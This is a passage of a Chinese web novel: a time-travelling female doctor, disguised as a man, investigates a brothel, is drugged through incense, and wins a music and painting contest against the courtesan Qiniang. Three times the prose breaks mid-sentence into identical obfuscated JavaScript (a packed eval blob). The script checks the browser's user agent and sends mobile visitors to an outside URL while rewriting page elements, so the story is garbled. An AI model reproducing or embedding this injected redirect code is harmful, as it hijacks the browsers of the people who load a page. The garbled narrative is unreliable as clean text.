“啪”，阿玉重重搁下筷子，抬起头来，一双总是乖顺的桃花眼半眯，很是不满。 “春韵坊是烟花之地，阿姐一女子怎可…” “都说了是去暗访。”沈半夏赶忙打断他，“风花雪月之地怎么了，正因我是女子才没大碍，难不成…” 她突然停住，思索片刻后，嘴角噙起一抹狡黠笑意，微微颔首道：“阿玉说的有道理。” “该让夏久一并查查那青菱馆，听闻馆里小倌公子既有身娇体软，也有阳刚…” “阿姐！” 听她这话阿玉脸色更沉，“啪”得一声放下筷子，但见黏在筷子上的油渍飞溅，又默默取出手帕擦拭，临了也只能愤愤瞪了沈半夏一眼。 沈半夏轻笑，见他毫无威慑力的嗔怒，果然还是个毛头小子，自家弟弟真是可爱。 前世沈半夏不曾有过兄弟姐妹，加之一贯清冷的性子。这五年可算是充分让她体验到了养小狗的快乐。 云溪村出事，自己还招惹上了讨债的瘟神子，沈半夏暗自盘算着得找罗老多讨些薪水，尽早将阿玉的玉佩赎回来，万一哪天阿弟心许上了哪家姑娘，可不能耽误了阿弟讨媳妇。 “阿棉也可以去吗？”少女跑到沈半夏身旁，拽了拽她的衣摆。 “不可以。”然后被无情拒绝。 “我要与阿姐同行。”阿玉见没办法动摇沈半夏的决定，只好稍作妥协。 “可万一真有凶险，我还得靠夏久照应。” 她面上犹豫，瞥了眼阿玉因儿时多病比同龄人瘦弱的身板。 沈半夏心下琢磨哪日托夏久教阿玉习武，强身健体有利于他的脆皮身板抵抗病痛。 “夏公子武艺超凡，定可护住你我二人。” 沈半夏轻视的目光如同一把钝刀拍在胸口，攥紧的拳头里指甲陷进皮肉，他倔强仰起头，一副你不同意我就不让你出门的架势。 “也好。” * 华灯初上，云合西华门内往来行人纷纷济济，茶肆酒坊不计其数。春韵坊的牌匾题着歌舞神仙风流花月，此刻门前，正立着三位俊俏公子。 左侧的那位身量极高，一袭墨色劲装裹着宽肩紧实的躯干，他眉眼如剑，五官俊朗。指节分明，指节处若仔细瞧来隐约可见几道旧伤疤。 右侧的那位公子身形修长却略显单薄，生得极美，一袭暗红薄纱松垮地挂在身上，衬得肌肤胜雪。一双勾魂摄魄的桃花眼，眼尾微挑，眸光流转间笑意盈盈。 而中间的那位身量稍矮，一袭素白长衫衬得他如冰雪雕琢般。神色淡淡，眉眼如画，整张脸透着一股雌雄莫辨的俊俏。 “请。”中间的沈公子略微抬手，侧身朝夏公子示意。 三人一同踏入春韵坊。但见坊内斑竹帘轻挂，靠着外侧都是碧纱窗。抬手掀起竹帘，转入其中，几碗鸳鸯灯盏悬在头顶，两侧燃着古铜香炉，炉内香烟袅袅，甜腻奇香萦绕鼻尖。 不多时，屏风后转出一个风韵犹存的美妇人，她一袭桃粉色纱绸裙，身姿婀娜，执了把绣着鸳鸯戏水的团扇扭胯迎了出来。 “哟，好生俊俏的三位小哥儿。”她一身的香粉随飘摇身段弥散开来，笑得眯起眼，实则暗自大量大呢得行头身家，撇过沈半夏时略微一滞，“都没来咱们春韵坊玩儿过吧。” “烦请妈妈带路。”夏久虚握拳头轻掩唇边，轻咳一声率先走了一步，他只为公事来过春韵坊，此番为了掩盖身份还被阿棉捣鼓了半天。 “三位哥儿请。” 春韵坊内已然歌舞升平。 沈半夏昨日听阿棉讲了些春韵坊的事，春韵坊里部分娘子隶属教坊司，擅得是歌舞琴技，最得道貌岸然的权贵骚客青睐；剩下就是些苦命的可怜娘子，不是被贱卖的奴籍，就是被迫求生的走投无路苦命人。 沈半夏上楼途中默默打量着坊内的客人，有麻布袍粗布衣的普通百姓，有锦衣绸缎的富家公子，只不过，这些人面上的神色都是一致，大多如同难以餍足的饕餮食客，浑浑噩噩步履虚浮。 突然一阵嘈杂从不远处传来，只见一满脸横肉的中年男人一把掀了桌，杯碟茶盏碎了一地，晶莹剔透的糕点顺着地毯滚到了三人脚边。 “是刘家三爷，一个土财主。”夏久低声在二人耳边道。 “刘大爷怎还在这儿吃着。”王妈妈已经摇着扇贴上去安抚，她抽出绢帕细细擦了擦刘三胸前的茶渍，“玉娘已候着爷一盏茶的功夫了。” 说着一名衣着淡紫色薄纱裙的娘子从三人身后走来，应是王妈妈口中的玉娘。 沈半夏皱眉，方才刘三掀桌之际肥大的袖子滑下来，裸露出男人壮硕的小臂。 可那小臂后侧，生了几排密密麻麻的水泡红斑。 怕是发作不久的花柳之病。沈半夏虽知晓不过是烟花柳巷之地随处可见的病症，可她再看向那年轻娇媚的娘子时，心头还是难免如同银针扎了般难受。 “娘子芳名何许？”她先一步握住了玉娘的手腕，阿玉见她动作立刻猜到她想做什么，随即上前一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464351|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧身挡在了二人身前，断了王妈妈和刘三的视线。 “小女子玉娘。”玉娘些微错愕，眼前的公子瞧着标致俊秀，握力倒是大得很。 “那刘三多半有花柳恶疾，娘子收好小心下入他酒里便是了。”沈半夏趁着宽袖的遮掩，将药粉塞进玉娘的掌心。“不用担心，寻常迷药罢了，不会被查出来，他醒来也不会发现。” 玉娘应了声好，眼角浮起朦胧的薄雾，没来得及说什么就被王妈妈咋咋唬唬着唤了过去。 “风流韵所，最难的就是救风尘。”夏久说的是方才沈半夏一出救美戏码。 瞧见玉娘扶了刘三走远了，吩咐人收拾好残局，王妈妈才安心扭着回到三人跟前，继续领着三人上了楼。 掀起珠帘，是个临街的阁子，多半是瞧着三人衣着富贵气质不凡，楼下竟径直对着中央的圆台，此时纱帘半遮面的胡姬翩跹起舞，金粉流光好不醉人。 沈半夏不由得暗自心里感谢柳翩生的倾情相助。 “烦请妈妈上些不醉人的酒来。” “公子说笑了，哪有酒不醉人呢。”王妈妈掩嘴笑道，“来我这花韵坊里的恩客，谁不求旖丽香软的醉梦一场呢？” “缘因我这小兄弟有头疾。”夏久解释，“怕寻常酒水难以招架。” 沈半夏配合地掏出折扇轻抵住左侧额角，出门的时候刻意给眼下摸了些乌黑，不过得在灯下细瞧方能看见。 “晓得了。”王妈妈笑道，“公子且等片刻。娘子们见三位俊秀娇俏馋得紧呢，这不还有跑去补脂粉的。” “待会儿花魁娘子七娘的琵琶舞，保准儿让这位小哥儿忘了什么劳什子头疾。” 王妈妈掀帘走了，沈半夏朝着中央台子的方向探了探身。 春韵楼内光线朦胧，青铜雕花的烛台点了大簇灯火高悬在中央戏台上，随着滚烫的蒸汽流转。其余地方的桌台和软榻则是玲珑小盏，客人和娘子们，摇曳光影间醉眼迷离。 “好漂亮的娘子们。”沈半夏望了眼楼下推杯换盏和红香软玉。 阿玉端茶杯的手一滞，顺着她的目光望去，见角落处三两美娇娘簇着一名公子劝酒，大半个身子都贴了上去。 他脸颊一红迅速收回目光，谁知刚一转头，沈半夏正手托下巴，盯着他笑意盈盈。 “我们阿玉也到了可以娶妻的年纪了。” “阿姐…” “阿姐该替爹娘教教你怎么疼惜小娘子了。”沈半夏瞧他害羞的模样觉得好玩，干脆凑到他耳边轻声低语：“其一，切记不可硬来，要先征得对方应匀。” “其二，不可只顾自己舒坦，鱼水之…” 沈半夏好姐姐的亲密关系科普被“砰”得一声打断，檀木桌上茶水溢出杯沿撒得到处都是，少年慌忙起身时膝盖撞到了桌角，耳朵红得透光，不知是疼还是羞得。 “咳咳…” 被姐弟两无视许久的夏久干咳，早知沈半夏拿刀捏针慓悍得很，今日更是当众教自家阿弟男女之事… 他同情地看了阿玉一眼，决定好心解救一下眼前涉世未深的青涩少年。 “花魁娘子出来了。” 11. 香炉 “咣当”一声，楼下大堂靠近中央戏台的桌案翻了。 “这是我的席位！” 身材魁梧的青年双目赤红，跟前的软榻上，一名衣着华贵的中年男子盘腿而坐。 “呵，老子花了钱就能使得。” 中年男子眼角上挑扫了眼青年稍显逊色的行头，摩挲着拇指上的玉扳指，冷笑出声。 沈半夏从二楼伸脖子瞅了一会儿，随手抓了颗蚕豆扔进嘴里。 二人是在争夺前排观美人的席位。 片刻后，王妈妈才带着花韵坊的护院姗姗来迟，先送上软娇娘哄青年落座，再是让凶神恶煞的护院冷脸收好残剧。 等开胃小菜吊足了看客的胃口，屋内半数烛火突然熄灭，旖丽的昏暗吞没了嘈杂。 悠扬琵琶声响起，戏台四角，销金香炉烟雾升腾，馥郁檀香裹挟着幽冷百合香四散开来。 花魁娘子眸里波光潋滟，和芊芊玉指一同撩拨看客心弦。 沈半夏半眯着眼，指节跟随音律在檀木桌面敲打出鼓点似的节拍。 正在这时，隔间的珠帘被掀起，进来三名婀娜美娇娘。 “公子们，酒来了。” 黄铜酒壶和杯盏里，紫红色的琼浆玉液溢出醇厚香气，随酒一起上桌的，还有几碟下酒小菜。 端起酒杯轻抿，沈半夏眉头一皱，不动声色地朝夏久和阿玉使了个眼色。 ——酒里有迷药。 “娘子…”她揽过身边娘子的香肩，低头凑近对方的颈侧，深吸一口，嗓音低沉，“好香呀。” “公子……”那娘子被她的举动勾得软了身子，娇羞地倚偎在沈半夏的怀里，双颊通红不知是红晕还是胭脂。 沈半夏心中默念三个数，怀中人的呼吸趋于规律，然后…… “云合第一青楼——春韵坊，居然是家黑店？” 沈半夏震惊道。三名娘子已然伏在桌沿睡了过去，她掀开酒壶，凑近鼻底闻了片刻。 “这……不曾听闻。” 夏久摩挲着下巴，眉头紧锁也深觉异常，三人没有立刻起身，隔间的珠帘门遮蔽效用甚微，怕打草惊蛇。 “可这楼下的戏还在唱呢。”沈半夏说的是中央戏台上的花魁娘子，三曲琵琶行云流水，鼻尖上挂着的纱帘半褪。 “沈……公子，”夏久不自然咳嗽一声，“这酒？” “……不过寻常迷药。” 沈半夏轻轻摇头，眼下也摸不着头脑，三人第一次来春韵坊，按理说也不该被认出来。 “好！” 喧嚣声拔地而起，楼下花魁的演出结束，此起彼伏的喝彩声一片。 听阿棉说，花魁七娘两年前一曲江上琵琶行一举夺魁，不仅琵琶技艺卓绝抚得一手好琴，还能谈棋舞墨，文雅风骚。 琴棋书画，国色天线。只可惜不是大户人家的闺中贵女。 坊里的灯火重新被点亮，不多时，戏台上换了一批娘子翩跹起舞。 夏久握紧了藏在衣袖间的匕首，暗访潜行不方便带随身的佩剑，灯火亮起，四周的暧昧昏暗被一点点驱散，不知名的焦躁感油然而深。 “有人上来了。” 沈半夏压低声音，余光瞥着红木楼梯上靠近的人影，水晶珠帘当了视线，只能隐约看得出是个女子的身形。 阿玉默不作声把椅子朝沈半夏的方向挪动，跟着沈半夏的提醒朝房间外看去。 “刷啦”一声，珠帘被掀起，来者竟然是方才沈半夏英雄救美的对象—玉娘。 “公子们”玉娘明媚的眸子含着春水，可那水却仿佛被冻住了，一寸寸冷掉变成了犀利的冰刺。 “…你们有何目的？” 夏久“刷”得站起来将沈半夏二人挡在身后，褪去了方才的伪装，一脸严肃。 “是玉娘想问公子们…”她笑道，歪头越过夏久的肩头看向他身后的沈半夏，“公子们来春韵坊，不找乐子…” 她毫不在意夏久锋利的目光，步步逼近沈半夏，“不找乐子，倒是来看诊了。” “我说的不错吧，半夏姑娘。” 沈半夏一愣，没曾想到居然被认出来了。心下懊悔自己多管闲事坏了正事。 “姑娘别紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464352|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张。”玉娘抬手状似要抚上她的脸颊，还没来得及碰到，立即被阿玉抬手甩开。 “玉娘本来可舍不得姑娘遭罪的。”玉娘也不恼，收回半空中落空的手，她转头看向分毫不少的酒，笑意更深了一层。 “可惜姑娘果然太谨慎，不肯喝杯中酒。” “什么？”沈半夏只觉得眼前的人在越来越模糊，瞳孔也开始变得涣散失去焦距，难以凝神。 夏久拿着刀的手一松，之听“咣当”一声，匕首掉到了地面上被弹开半米。 “究竟何时…” 沈半夏不解，究竟何时中的招？她努力回想从进店到现在的一举一动，他们明明识破了酒中的迷药没有饮下，难不成还能隔空下药？等等，莫非真的是隔空… 是香。 来不急仔细思考，沈半夏只觉自己个儿眼皮变得愈发沉重，她吃力撑着想看阿玉和夏久的情况，只见二人与她症状相仿，都开始飘忽忽地站立困难。 阖上眼皮的瞬间，她突然转头看见了隔间四角的黑色香炉，炉子上几缕青烟袅袅升起，融化在室内的空气里… 无色无味，根本难以辨认。 “姑娘太过聪明。” 玉娘见她多半猜到了缘由，笑意更深了，也不遮掩，“若你们直接喝下这壶酒，香里的毒，早解开了。” 回应她的只剩一屋子的沉默。玉娘嗤笑出声，现下这桌上好生热闹 —不仅有方才来送酒陪客的三名年轻娘子，还有昏迷倒下的三位俊俏“公子”。 “七娘，要把他们带去上房吗？” 门口不知何时出现了位戴着面纱的女子，一袭柔纱红裙，细柳生姿，眉间还点了一抹荷花式样的血红朱砂 —正是方才还在台上风光旖旎的花魁娘子，七娘。 “嗯。” 她朝玉娘轻轻颔首附和，随即又欠身缓缓踱步到了沈半夏跟前，端详片刻后，玉指轻柔地搭上了她的头发，稍微一用力，昏迷女子的乌丝瀑布般顺着桌沿倾斜而下。 不多时，三名护院打扮的壮硕大汉走进来，将几人扛出了隔间。 12. 比试 沈半夏眼皮沉重，像被糨糊紧紧糊住，刺鼻的熏香在鼻腔肆意钻进里鼻尖，冲击着她尚有些混沌的意识。 她吃力地稍稍抬起身子，全然不记得自己昏迷了多久，臂弯因为头部长期压迫传来酥麻的刺痛感。待意识完全回笼，她强撑着身子环顾四周，心中一惊。 此处已并非方才的隔间。 目光落在几步开外，与她不同的是，阿玉和夏久双手被麻绳紧紧绑在背后，正靠坐在红色雕漆的柱子上，双眼紧闭，尚未苏醒。 “姑娘醒了。” 一道娇媚的女声幽幽响起。沈半夏循声望去，只见对面黑檀木软踏上半卧着一名女子。听闻声响，这女子慵懒地撑起半个身子，似是小憩过后养足了精神。 屋内装潢精致，挂了青白云纱的雕花木床，黄铜盆里盛着半盆清水，四角的炉子里燃着沈半夏不喜欢的甜腻到刺鼻的熏香。 如若不看屋内狼狈的三人，倒是好一番惬意闲适。 “你是七娘。” 沈半夏笃定道。她瞧了瞧地上二人，见他们呼吸均匀、面色还算正常，悬在嗓子眼儿的心这才稍稍安放下来。 七娘勾起嘴角，浅笑倩兮，她褪去了戏台上那浓厚的装扮，只略施脂粉，白皙的面颊在烛火下显得格外动人，头上仅插着一支银质珠钗，墨色的青丝半挽着，此时正手里把玩着一根白色浅纹的发带。 沈半夏这才惊觉自己头上的发带不知何时被扯了下来，整个人披头散发，甚是狼狈。 “半夏姑娘为何而来？” 七娘朝沈半夏缓缓走来，到她跟前驻足，一双含水美眸俯视着她。 “为了求药。”沈半夏毫不犹豫地答道。虽她医者的身份多半已被识破，但眼下尚不知七娘的用意，他们又还在对方的地盘上，她决定还是按照之前和夏久商议的办法行事。 “半夏姑娘说笑了，”七娘听了，竟像听到笑话一般轻笑出声，“云合来了个江湖女神医这事儿，都传进了七娘的耳朵里，怎会需要来春韵坊求药。” “神医之名，半夏不敢当。”沈半夏微微一笑，“不过四处奔波积攒了些教训罢了。” “半夏漂泊异乡，如今只剩我阿弟一个亲人了。”她指向地上昏迷的男子，眉头轻蹙，“可阿弟患有隐疾，若是发病，疼痛难忍，生不如死……” “半夏这半吊子医术，也是为了给阿弟治病瞎琢磨来的。”沈半夏无奈地叹了口气。 “知晓安神丸药方罕见难寻…” “阿姐…”阿玉不知何时醒了过来，听清了沈半夏和七年的对话后，面色惨白轻声唤了她一声。 七娘眯起眼睛，仔细打量了姐弟二人片刻，随后干脆越过沈半夏，走到阿玉跟前蹲下身。 “不愧是姐弟，阿玉公子确实单薄了些，但和半夏姑娘一样生得貌美。”七娘抬手勾了勾阿玉的下巴。阿玉被调戏了也不躲开，只是仰起脸，朝着七娘扯出一个天真无邪的笑容。 “我阿姐都是为了我，七娘姐姐如若能放了我们，阿玉也不要什么药了。”他看向七娘，黑曜石般的眸子里满是无辜。 “好生乖巧的小郎君。”清秀俊俏的小公子的一声姐姐唤得七娘心情大好，她走回沈半夏身边，抽出桌下的木凳坐下。 “半夏姑娘救了七娘的妹妹两次。”七娘提起茶壶，替沈半夏手边的瓷杯添满茶水，自己也端起一杯轻抿一口。 “半夏姑娘救了的那名两岁女童。”见她疑惑，七娘解释到，“还有今日，想将那恶病传给玉娘的刘三。” “如果想要安神丸，七娘也不阻拦。只要半夏姑娘愿意同七娘比试一二，七娘就带姑娘去寻售卖安神丸的人。” “好。”沈半夏点头应下，此番前来，目的就是获得安神丸的售卖渠道。她看了眼地上的夏久，看来他们二人是打不过了，不如将计就计探探虚实。 见沈半夏答应了，七娘抬起手来轻拍三下，只听“吱呀”一声，栅格木门缓缓被推开，几名白衣侍女端着琵琶走了进来。 “可否先给阿玉和我朋友解绑。”沈半夏转身看向地面，见夏久还靠在柱子上昏迷，不禁皱眉，他应该是被下了额外分量的药。这人看起很能打，但怎么一遇到下药投毒的事儿回回首当其冲。 “替半夏姑娘的阿弟松绑。”在七娘的眼神示意下，一名白衣侍女上前替阿玉解开了束缚手脚的麻绳。 “不过夏大人身手不凡，七娘惶恐，劳烦他受罪了。”七娘接过琵琶，手上动作轻柔抚过琴身。 “你想怎么比。”沈半夏没多做纠缠，起身扶着阿玉坐下，双手按在他的肩头上下打量着，查看他是否受伤。 “琴棋书画，琴为首位。”七娘将琵琶抱在怀里，笑着看向沈半夏，“七娘想与姑娘比抚琴。” “我有一个条件。”沈半夏心下一凉，她一个穿越来的现代医生，哪里会弹琵琶。 “听闻七娘的琵琶技冠群芳，半夏自然是比不得。”沈半夏斟酌着说道。 “我们比七弦琴，而且”她顿了顿，“曲目我来定。” “就依你，替半夏姑娘取纸笔来。”七娘将心爱的琵琶放回软榻上，即刻示意白衣侍女送上两把琴身上绘着映日荷花莲池的七弦琴。 沈半夏接过纸笔，轻咬着下唇思忖片刻。她虽不会琵琶，但若是古琴还能赶鸭子上架糊弄一二。外科圣手的手指灵活度需要训练，除了手术台上的真刀实枪，偶尔也需要练些乐器活动筋骨。 比起钢琴的浑厚昂扬，沈半夏更喜欢余音悠远的七弦古琴。 “好了，半柱香后，我们比试。”沈半夏将誊写好的琴谱交给七娘。 阿玉一脸错愕，一家四口在云溪村清贫度日五年，沈半夏的银针都是养父捡来废铁后费劲打磨半月，又细细碾磨十日才制成，哪有闲钱买琴。况且，他眸光微沉，他的阿姐又是何时会抚琴的？ 约定好的时辰到了。 七娘起身在琴案前落座，她轻拂衣袖，左肩半沉，清越悠扬的琴声在芊芊玉指跳转间倾泻而出。 可不消片刻，突兀的音节频频出现。七娘眉头紧锁，这乐谱跨度颇大，音律需要五指频繁跳动，与寻常乐谱大不相同，这乐谱好生怪异，不似断肠凄婉之曲，也没有风花雪月的柔婉秀娟，多了几分大气大落、荡气回肠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466564|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悲戚。 曲毕，七娘起身礼让沈半夏入座，她神色镇定，示意阿玉替她举着琴谱。 “该我了。”沈半夏深呼一口气，接着手起，明快急促的旋律如脱缰的骏马，在琴弦上肆意奔腾，绕梁横冲直撞。 七娘怔住，这是她第一次听见七弦琴下流淌出如此恢弘大气、明朗开阔的曲调，更没想到会出自一名女子之手。 “啪”、“啪”、“啪”一曲终了，屋内的沉默立刻被七娘的掌声打破。 “七娘受教了。”她朝着沈半夏拱手行礼，随后将手里的琴谱郑重收了起来。 沈半夏松了口气，方才她默写得是某知名交响乐章的段落，是她前世最喜欢用来练手的。 沈半夏松了口气，方才她默写的乃是某知名交响乐章的段落，这是她前世最喜欢用来练手的曲子。和重韵味与气息的东方音律不同，西方交响乐的曲子音域宽广、情绪激昂，而沈半夏执惯了手术刀的手指灵活有劲，她笃定七娘短短时间内不可能习惯如此粗犷的曲风。 连她自己也颇为意外，五年未曾碰琴难免生疏，可手放在琴上刹那，前世的记忆和这曲子一同喷涌而出，控住了她的双手。 “接下来，我们比作画。”七娘示意白衣侍女们端上笔墨宣纸铺陈于桌案上，“还是半夏姑娘说，比画什么吧。” “好啊！”沈半夏听闻眼神一亮，环视房内后，指尖停在角落里立身等待侍奉的侍女，“就比画她。” 见沈半夏兴奋模样，阿玉嘴角不自觉地抽搐，他的阿姐倒是挺爱舞墨弄画，可她笔下的小人堪比年关时辟邪镇宅的凶神恶煞…… “好。”七娘让那女子上前一步，站在二人跟前来当作模特。 沈半夏端详片刻后，自信十足地提笔作画。她笔下精准地勾勒出发髻、头颅、躯干和衣衫……不多时，她搁笔后站远了些，观赏片刻，不禁满意地点了点头。 阿玉探身瞧见了，不禁扶额轻叹，这纸上的小像对一名女子而言着实失礼了些。 “呵呵，半夏姑娘这是？”七娘也完成了作画，她走到沈半夏身边，见到桌案上的画作忍俊不禁。 “有何不妥？”沈半夏歪头不解，她也走到七娘的桌案前驻足，花魁娘子好才华，果然是一副典雅精致的古典国画，画中女子身姿婀娜，神情温婉。 “我们比试的是画人，首要任务自然是——得还原。” “可半夏姑娘这？”根本没有分毫美感。 “五官比例，四肢关节哪里不还原？”沈半夏扬眉，她踱步至那名女子身侧，“姑娘瞧着站姿略有些怪异，是左脚有旧疾么？” 侍女茫然摇了摇头，沈半夏点头表示明了，“那就是站姿不对，长期以往双膝内翻不仅影响腿形，可能还会影响胯骨位置，不利生长。” 听她一席话，七娘低头再次看了看沈半夏的画作，虽说确实没有任何意境，但确实……准确地还原了人物特征，无可辩驳。 “行了，七娘拖延的时间够久了。”沈半夏低头收起桌案上的宣纸，然后慢慢走到夏久身旁， “不想见到夏大人的人早就走远了吧。”